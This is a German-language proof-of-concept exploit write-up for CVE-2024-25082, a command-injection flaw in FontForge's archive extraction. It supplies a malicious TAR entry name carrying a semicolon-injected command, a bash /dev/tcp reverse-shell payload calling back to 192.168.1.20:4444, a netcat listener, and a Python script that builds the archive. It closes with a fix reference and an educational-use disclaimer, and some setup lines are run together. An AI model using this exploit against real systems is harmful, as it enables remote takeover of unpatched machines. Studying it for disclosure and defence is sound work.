
FontForge Splinefont präparierte Dateiname Befehlseinschleusung Schwachstelle
Proof-of-concept-Exploit für zwei Befehlseinschleusungssicherheitslücken in FontForge ≤ 20230101 (Splinefont Komponente).
| CVE | Vektor | Auslöser |
|---|---|---|
| CVE-2024-25081 | Manipulierter Dateiname | Direktes Dateiöffnen |
| CVE-2024-25082 | Manipulierter Archivdateiname | TAR/ZIP/GZ/BZ2-Extraktion |
Dieser PoC zielt auf CVE-2024-25082 — FontForge's automatische Archivextraktion übergibt Dateinamen ohne Bereinigung an eine Shell, wodurch ein Semikolon-getrennter Payload, der in einem TAR-Eintragsnamen eingebettet ist, beliebige Befehle ausführen kann.
FontForge unterstützt das direkte Öffnen von Schriftartdateien aus Archiven. Beim Extrahieren eines TAR-Archivs erstellt die Splinefont-Komponente einen Shell-Befehl unter Verwendung des Dateinamens aus dem Archiveintrag. Da der Dateiname nicht bereinigt wird, bricht ein Semikolon (;) im Eintragsnamen aus dem erwarteten Befehl aus und schleust beliebige Shell-Anweisungen ein.
Bösartiger TAR-Eintragsname:
exploit.ttf;bash /tmp/s.sh;
Wenn FontForge dieses Archiv verarbeitet, interpretiert die Shell dies wie folgt:
<extract command> exploit.ttf ; bash /tmp/s.sh ;
192.168.1.20:4444 (nach Bedarf anpassen)tarfile Modul)netcat auf dem Angreifer-Rechnernc -lvnp 4444
# Schreibe den Reverse-Shell-Payload
echo 'bash -i >& /dev/tcp/192.168.1.20/4444 0>&1' > /tmp/s.sh
chmod +x /tmp/s.sh
# Erstelle das bösartige Archiv
python3 << 'EOF'
import tarfile, io
malicious_name = "exploit.ttf;bash /tmp/s.sh;"
tar = tarfile.open("exploit.tar", "w")
info = tarfile.TarInfo(name=malicious_name)
info.size = 4
tar.addfile(info, io.BytesIO(b"AAAA"))
tar.close()
print("done")
EOF
fontforge exploit.tar
Eine Reverse-Shell wird sich mit Ihrem Listener verbinden.
Behoben in FontForge nach 20230101 via PR #5367. Aktualisieren Sie auf die neueste Version.
sudo apt upgrade fontforgeDieser Proof-of-Concept (PoC)-Code wird ausschließlich für Bildungs- und autorisierte Penetrationstestzwecke bereitgestellt.